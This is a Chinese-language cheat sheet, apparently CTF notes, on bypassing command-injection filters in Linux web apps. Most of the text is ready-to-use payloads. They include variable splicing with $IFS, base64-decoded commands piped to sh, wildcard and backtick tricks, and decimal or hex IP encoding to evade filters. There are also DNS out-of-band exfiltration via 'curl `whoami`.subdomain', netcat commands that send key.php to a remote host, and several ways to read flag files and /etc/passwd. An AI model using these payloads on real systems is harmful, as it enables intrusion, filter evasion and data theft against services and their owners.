命令执行Bypass
举例,ping命令判断存活主机
1 | ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1 |
注意 &>要连起来写。
linux下
命令执行变量拼接
1 | /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
过滤bash用sh执行
1 | echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
内联执行
将反引号内命令的输出作为输入执行
1 | ?ip=127.0.0.1;cat$IFS$9`ls` |
空格绕过
1 | $IFS |
1 | {cat,flag.txt} |
通配符绕过
???在linux里面可以进行代替字母
/???/c?t flag.txt
第三种是利用DNS管道解析
这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用
1 | |curl `whoami`.xxxx.xxx(子域名) |
这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\
whoami\
因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ
nc外带数据
本地监听端口
nc -lvp 9999
命令执行出 ping 127.0.0.0 & nc ip port > key.php
网络地址转化为数字地址
网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433
可以直接访问
1 | http://2130706433 |
或者
1 | http://0x7F000001 |
这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp
1 | %0acat%09 |
注释符
1 | 通过查看文件的权限 chmod +777赋予权限l's' -lac'h'm'o'd +777 /filename |
花式绕过
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
Linux花式读取文件内容
ps:目标是获取flag.txt的内容
static-sh读取文件:
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found
paste读取文件:
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
diff读取文件 :
diff ./flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
od读取文件
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
bzmore读取文件:
bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------
flag{this_is_a_test}
bzless读取文件:
bzless ./flag.txt
echo bzless ./flag.txt
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}
curl读取文件:
curl file:///home/coffee/flag
nc 传输文件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
wget
wget url -P path